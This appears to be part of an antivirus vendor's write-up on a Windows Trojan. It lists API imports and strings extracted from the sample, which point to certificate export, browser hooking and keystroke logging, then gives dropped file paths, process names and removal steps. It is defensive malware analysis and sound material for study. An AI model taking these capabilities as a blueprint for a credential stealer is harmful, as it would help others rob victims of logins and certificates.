KERNEL32.dll
GetKeyboardLayoutList
ExitWindowsEx
GetKeyboardState
OpenWindowStationW
GetProcessWindowStation
CreateWindowStationW
CloseWindowStation
SetProcessWindowStation
MapVirtualKeyW
SetKeyboardState
MsgWaitForMultipleObjects
USER32.dll
RegOpenKeyExW
RegEnumKeyExW
RegCloseKey
RegCreateKeyW
RegEnumKeyW
RegQueryInfoKeyW
RegCreateKeyExW
ADVAPI32.dll
PathIsURLW
UrlUnescapeA
SHDeleteKeyW
SHLWAPI.dll
ShellExecuteW
SHELL32.dll
Secur32.dll
SetViewportOrgEx
GDI32.dll
WS2_32.dll
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertCloseStore
PFXImportCertStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
PFXExportCertStoreEx
CRYPT32.dll
HttpSendRequestExA
HttpQueryInfoA
HttpSendRequestExW
HttpSendRequestW
GetUrlCacheEntryInfoW
HttpAddRequestHeadersW
HttpOpenRequestA
HttpOpenRequestW
HttpEndRequestA
HttpAddRequestHeadersA
HttpSendRequestA
HttpEndRequestW
InternetCrackUrlA
WININET.dll
OLEAUT32.dll
NETAPI32.dll
VERSION.dll
WINMM.dll
PSSSSSSh
42>204:4
sXXXX
Company: %s
Product: %s
Version: %s
Software\Microsoft\Windows\CurrentVersion\Uninstall
%u: %s | %s | %s
Process: %s
Input: %s
nspr4.dll
chrome.dll
kernel32.dll
Global\XXX
Chrome
Firefox
SysShadow
\StringFileInfo\xx\%s
ntdll.dll
"%s" %s
/c "%s"
%sx.%s
%sx
SELECT * FROM %s
Global\{F11B6D3B-54BE-54D8-FBCD-0BAB9E4CE049}
%Documents and Settings%\%current user%\Application Data\Myos\afne.viu
%Documents and Settings%\%current user%\Application Data\Myos
afne.viu
%Documents and Settings%\%current user%\Application Data
{6760DF1E-E69B-C2A3-FBCD-0BAB9E4CE049}
%Documents and Settings%\%current user%\Application Data\Oxiwo\xobou.yli
%Documents and Settings%\%current user%\Application Data\Oxiwo
xobou.yli


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Scan a system with an anti-rootkit tool.
  2. Terminate malicious process(es) (How to End a Process With the Task Manager):

    %original file name%.exe:912
    omivi.exe:168

  3. Delete the original Trojan file.
  4. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Local Settings\Temp\tmp1ef6c7cf.bat (177 bytes)
    %Documents and Settings%\%current user%\Application Data\Xifide\omivi.exe (235 bytes)

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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